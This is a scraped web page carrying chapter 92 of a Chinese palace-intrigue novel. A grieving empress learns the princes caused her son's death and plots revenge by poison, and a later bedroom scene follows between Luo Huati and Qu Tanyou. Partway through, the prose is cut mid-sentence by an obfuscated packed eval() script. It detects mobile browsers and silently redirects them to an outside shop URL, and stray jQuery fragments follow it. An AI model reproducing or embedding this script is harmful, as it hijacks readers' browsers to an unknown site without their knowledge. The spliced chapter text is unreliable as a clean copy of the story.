默认冷灰
24号文字
方正启体

92. 鸳鸯不独宿

作者:蔻燎搔头本书字数:K更新时间:
    第九十二章  鸳鸯不独宿


    (蔻燎)


    “咻——”


    一只白鸽舞着矫健的翎翅,箭矢般自墨绿深处射-出,在微风荡漾着马车锦帘的间隙,笔直得扎进了覆掀雨的车内。


    碍于覆掀雨新怀龙裔,娇贵柔弱,需要静养,曲远纣便特意与她分开坐马车,嘱咐大宫女绣心仔细照顾,让侍卫们团团包裹皇后的马车,以防不测。


    其实还有一点,帝后二人目前一见面就会想起死去的九皇子,避免不了会双双悲恸,覆掀雨也愿意暂时少和曲远纣接触,不然她一整天都会哭哭啼啼,洒泪涟涟。


    肥硕活泼的白鸽歇在桌前的糕点上,低头叨了两口豌豆黄,滚着喉咙吞下。


    绣心害怕白鸽来路不明,抬手要赶鸽子滚出去,覆掀雨却眼神示意她不必妄动。


    她目色犀利,一秒就察觉白鸽腿脚上绑的一卷厚厚的信纸。


    绣心逮住白鸽的脚,扯下那些纸,翻看一番,未见异样,低眉顺眼奉给覆掀雨。


    覆掀雨一页一页扫过,越看柳叶眉蹙得越死,唇齿抖颤,凤眸湿润,泪珠跌落,她喃喃道,“仲勤购买藏獒,训练其撕咬活物,四皇子和六皇子买通翘首围场养狗的官员,为的就是设计信诚死去……”


    猩红的眼白被热泪淹没,她遏制不住地疯狂抖动,抖得快从软榻上滑下。


    一刹那,脑中闪过零零碎碎的记忆,历历在目,刻入骨髓。


    迷蒙灰雾笼罩着金碧辉煌的朝凤宫,天幕黯淡。


    曲信诚的声音幽幽飘来,空灵极了,“四哥!六哥!陪我玩,陪我玩好不好?”


    曲瑾琏道,“九弟乖,来,四哥抱抱。”


    “九弟已快七岁了,是时候接触一些强身健体的武艺,礼乐射御书数中的‘射’,是众皇子少不了的技艺。旁的便算了,届时自有师父教授,但于‘射’而言,作为四哥的我,愿意教九弟练箭习武,等九弟长大了,才能文武双全,更好地担任新太子一位,不知母后意下如何?”


    “信诚年幼,体弱多病,目前不适合练箭,多谢好意。”覆掀雨轻抬下颌,高傲道,“借你吉言,信诚若是当了太子,本宫会好好答谢你的。”


    “……”


    冷风吹刮,刀刃似的剐人血肉。


    场景一变。


    曲信诚眨巴着汪汪大眼,依偎在曲钦寒肩头,软软道,“我没有去过练武场,母后不让我到处乱跑的。我想去很多很多地方,很多很多没去过的地方。”


    曲钦寒一愣,在曲信诚耳畔窃窃私语,“九弟,不久之后父皇会去翘首围场春蒐,射猎比试,你到时候可以偷偷求父皇同意你跟着去看看,大饱眼福。”


    “真的吗?我求父皇,真的能去春蒐吗?”


    “你不求就去不了,求了或许能有机会去呢?你是皇后的儿子,为何还不如八弟自由呢?”


    “嗯,八哥能去,我也能去,我会去求父皇的。”


    “九弟真乖。”


    ……


    是曲瑾琏,是曲钦寒,是他们害死了九皇子。


    是这两个狼心狗肺,恩将仇报的孽子!


    覆掀雨怒极,反而有了心如死灰的寂静,她抖索着纤纸,将那些证据揉搓得面目全非,她联想到前段日子曲瑾琏与曲钦寒跑来朝凤宫看望九皇子,陪他玩蹴鞠,怂恿他自信地走出宫门……原来,在那时他们便胆大包天地预谋奸计。


    凝睇着证据,覆掀雨的心脏在体内撞击蹦跳,似要蹿出来逃走,她捂着刺痛的胸口,强自吞咽喉咙里逆行往外冒的腥甜血水。


    一揩嘴角,牙关紧咬。


    不管证据从何而来,她势必要让曲瑾琏,曲钦寒付出代价。


    她捻一粒袖中毒丸,在指间碾碎,箍着白鸽的脖子塞进去。


    半刻后,白鸽挣扎扭动,泣血而亡。


    覆掀雨眼珠子黑得映出倒影,恰如深渊,她道,“绣心,笔墨伺候。”


    “本宫要写信给自横哥哥,让他寄些毒药过来,本宫与曲瑾琏,曲钦寒势不两立。他们害死吾儿,罪孽深重,擢发难数,不该快意地活在人世间,本宫会让他们备受折磨,生不如死。”


    皇家队伍匆匆赶了七日,某日傍晚,举兵在一河畔歇息整顿。


    芙贵妃向曲远纣请命去照顾曲瑾琏,曲远纣顾念她爱子心切,便应允了。这些天都是她日夜守着曲瑾琏,使得曲钦寒也只是偶尔露面问问曲瑾琏有无喝药,来的次数少了很多。


    曲瑾琏现在的腿绑了和曲探幽脑袋上相差无几的厚厚绷带,行走困难,得借宦官之手或轮椅拐杖移动身体,到是担得起“凄惨”二字了。


    他喝下母亲细心喂的汤药,躺在马车里的软榻上昏昏欲睡。


    芙贵妃听闻曲瑾琏腿脚受伤,整日以泪洗面,哭天抢地,痛恨老天爷不公平,明明她跟儿子马上迎来好日子了,怎么一夕之间就变了呢?


    曲瑾琏的耳畔全是母亲抽抽噎噎的哭音,他钻入被褥,自欺欺人地逃避现实,冷冷道,“母妃,孩儿困乏,要不你先去休息休息?无须寸步不离。”


    芙贵妃反应自己吵到独子,吸吸鼻子,心软道,“好,母妃不打扰你,你睡觉吧,母妃待会再来看你。”说罢,在宫婢的搀扶下走出马车,去树荫下饮茶。


    她刚一坐在宦官搭好的椅子上,覆掀雨身边的大太监就挽着拂尘走来,欠首施礼,毕恭毕敬道,“奴才参见芙贵妃,娘娘万福金安。娘娘,皇后娘娘历经丧子之痛,悲痛之情无从排遣,便请贵妃娘娘前往说一说体己话,帮皇后娘娘忘却伤心事。”


    芙贵妃震悚,情不自禁寒战,捏着茶盏的玉手沁了薄汗,湿滑得握不住任何东西。


    她畏葸不前,丢下茶盏,绞着手指头,磨磨蹭蹭道,“真的只是说体己话?”


    “娘娘放心,自然。”


    “芙贵妃娘娘,请吧——”


    .


    入鞘安排的人有目的地放出白鸽去送信给覆掀雨,随后落花啼下意识悄悄观察覆掀雨的动态,见其脸色灰扑扑得不正常,眉心缭绕着缕缕仇怨,便能窥知她已激起了复仇的念头。


    落花啼刻意利用曲瑾琏驯养藏獒的事情去挑拨覆掀雨和他们的关系,等着他们自相残杀,再坐收渔翁之利。


    覆掀雨,曲瑾琏,两方之中,不论谁最后惨败,落花啼都是有利无弊的。


    风尘仆仆回到曲水沣都时,正是晚春,桃花樱花等应季的树木已逐渐凋零花瓣,生出浅绿淡黄的嫩叶,微微透明。


    一派生机勃勃的新气象。


    逢君行宫。


    落花啼,曲探幽跨入行宫大门,想起翘首围场的时日,颇感疑幻似真,仿佛坠至梦境,像没有发生过,又像发生在另一个世界,油然而生出一种犀利的后怕感。


    因是日暮抵达行宫,众宫婢侍卫各司其职干完任务就早早睡下,两位主子也沐浴更衣后在寝殿躺着。


    银烛摇曳,灯苗窈窕,赤黄色焰火时而膨胀,时而渺小,千变万化,姿态不拘。


    落花啼携了一本从悬书阁收刮来的兵书,一篇篇翻阅着打发时间。她斜靠着桌角,一手撑下颌,眼睫垂下,被灯火投出弯弯的灰色倩影,更衬得她秾艳绝美,国色天成。


    曲探幽重伤刚醒的一段时间,浑浑噩噩,这也不懂那也不懂,皆是入鞘全程手把手帮着他洗浴换药,后来不知是不是脸皮子薄了,他严辞推拒了入鞘的伺候,自个儿去温泉池泡澡。


    他褪掉黑绸暗纹衣,洗完后披上一层薄如蝉翼的雪白丝绸中衣,半遮半掩裹着上身。下-身是一条玉锻长裤,素雅简约,走动时,双腿带着玉锻泛起波光粼粼的华芒,勾人得很。


    脖子上戴的紫金色凤尾戒指项链,熠熠闪光,伏在中衣丝绸上,像陷进了白云堆,埋入了雪泥丘。


    由于他没拭尽水珠就穿了裤子,锻面紧紧贴合着某些地方,达到了“点睛”之感,扣撩心弦,博夺眼球。


    “咳咳,咳咳!”


    落花啼本意是认真读书,但是忍不住漫不经心瞟一眼,腮面滚烫,她佯装没看见,迅速收回视线继续看书。


    不料曲探幽一边拿丝绸擦头发,一边在落花啼眼前走来走去,走了有八个来回,鬼魂般游蹿。


    落花啼憋一口气,一把将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673655|188634||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书贯到某人怀里,“瞎晃荡什么?”


    “姐姐,睡觉。”


    曲探幽额心的水珠晶莹剔透,他抬手抹去,鼓鼓的喉结一突,粲然浅笑,竟俊眉俏目得使人舍不得挪走眼神。


    落花啼心火旺盛,蹭蹭往上燎烧,她理也不理曲探幽,翻身把自己摔上床,扯过被褥盖得严严实实,闭上眼,道,“熄灯,睡觉,别说话,别吵我,不然——你就跪一晚上金丸!”


    见落花啼不抗拒同床共枕,曲探幽笑了笑,乖乖点头道,“好,好。”


    他麻利儿上床,笔直端正地躺着,像一块木板子硬硬的,须臾,他偏头睨着落花啼,斟酌道,“姐姐,你答应过我的,不算数了吗?”


    落花啼一身疲惫,眼睛也不睁开,敷衍道,“答应什么?”


    “姐姐,你在翘首围场分明答应我,要在晚上玩‘木头人不许动’的游戏,那天夜里你忘了,今天,今天可以吗?”


    “……你这药罐子的记性怎么这么好?该记得的记不住,不该记得的记得死死的,我说你什么好呢?”


    “姐姐是想言而无信,对么?”


    曲探幽嘴一扁,眼眶里蓄满了水花,呼之欲出,莫名可怜。


    落花啼太阳穴的筋都快抽-搐了,她无可奈何地叹息,“好了,玩一次,就玩一次。一,二,三,木头人,不许动!”


    她念完,就打算哄着曲探幽入睡,下一秒,一温热的事物蓦地贴上耳垂,痒得她一个激灵,掀开眼帘转头瞪着曲探幽,草木皆兵。


    曲探幽舔舔嘴唇,耍赖道,“不好,不这么玩。我只想姐姐一个人当木头人,不许动,不许说话。姐姐,求你了,能不能玩一把这个?”


    这是什么木头人不许动?


    凭什么她不能动,曲探幽可以动?


    “你擅自修改游戏规则,我不玩了,你一个人玩吧。”


    “不嘛,姐姐,姐姐……”


    曲探幽噘嘴,缠着绷带的头一个劲朝落花啼的肩膀轻撞,知道的以为他在撒娇,不知道的以为他要谋杀落花啼。


    落花啼身形微定,揪住曲探幽的脑袋,两人四目相视,静静对峙。少顷,落花啼败下阵来,许是瞅见曲探幽绷带上浸红的血渍,她竟有了零星的缴械投降。


    “怎么玩?”


    “姐姐不能动,也不能说话。”


    “哦。”


    “那我开始了。”


    曲探幽的眼眸柔情脉脉,楚楚动人,似乎天地间的水流汇聚进去,涟漪舞起,无边无际。


    他抱住落花啼的如柳素腰,一手伸进衣摆抚摸那光滑如水的肌肤,小猫似的凑近亲吻落花啼的面颊,眉毛,鼻子,红唇,耳垂,脖颈 ,锁骨……往下,流连忘返在白皙的前胸。


    落花啼果然是个合格的木头人。


    无论曲探幽怎么折腾怎么迷恋她,她都岿然不动。


    曲探幽一愣,抬头看去,落花啼已因翘首围场的操心事而精疲力尽地昏睡了,呼吸一轻一深,睫翼卷翘。


    眉翠薄,鬓云乱,肤如凝脂,唇若施朱,活脱脱一睡美人。


    曲探幽五指一攥,笑道,“姐姐,你赢了。”


    他用食指点一点落花啼的鼻尖,侧身卧在她旁边,不再多动,只是依旧搂着熟睡的人儿,就那么默默地溺视。


    约摸过了一刻钟,落花啼额心冒汗,转头栽进曲探幽的怀抱,迷迷糊糊揽着他的腰板,脸蛋蹭一蹭,呓语喃喃,“花-径深,花-径深,抱我,抱我……”


    “花-径深,你为什么不抱我,你怎么不来看我,我知道你在躲着我。”


    “你不要站在悬崖边,别过去!他来了,你快跑!”


    “花-径深……”


    她全身一抖,手劲愈重,将曲探幽的腰狠狠收紧,仿佛极度害怕怀中人地离去。


    曲探幽滚了滚喉结,爽然若失,眉宇凝愁,他不知所措地看着落花啼,头间嗡嗡作响,“花,径,深,他是谁?怎么又一个姓花的男人?都是落花国的坏男人么?”


    他泪珠儿在眼眶打转,晶莹如玉,“姐姐,你什么时候才能只要我一人呢?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)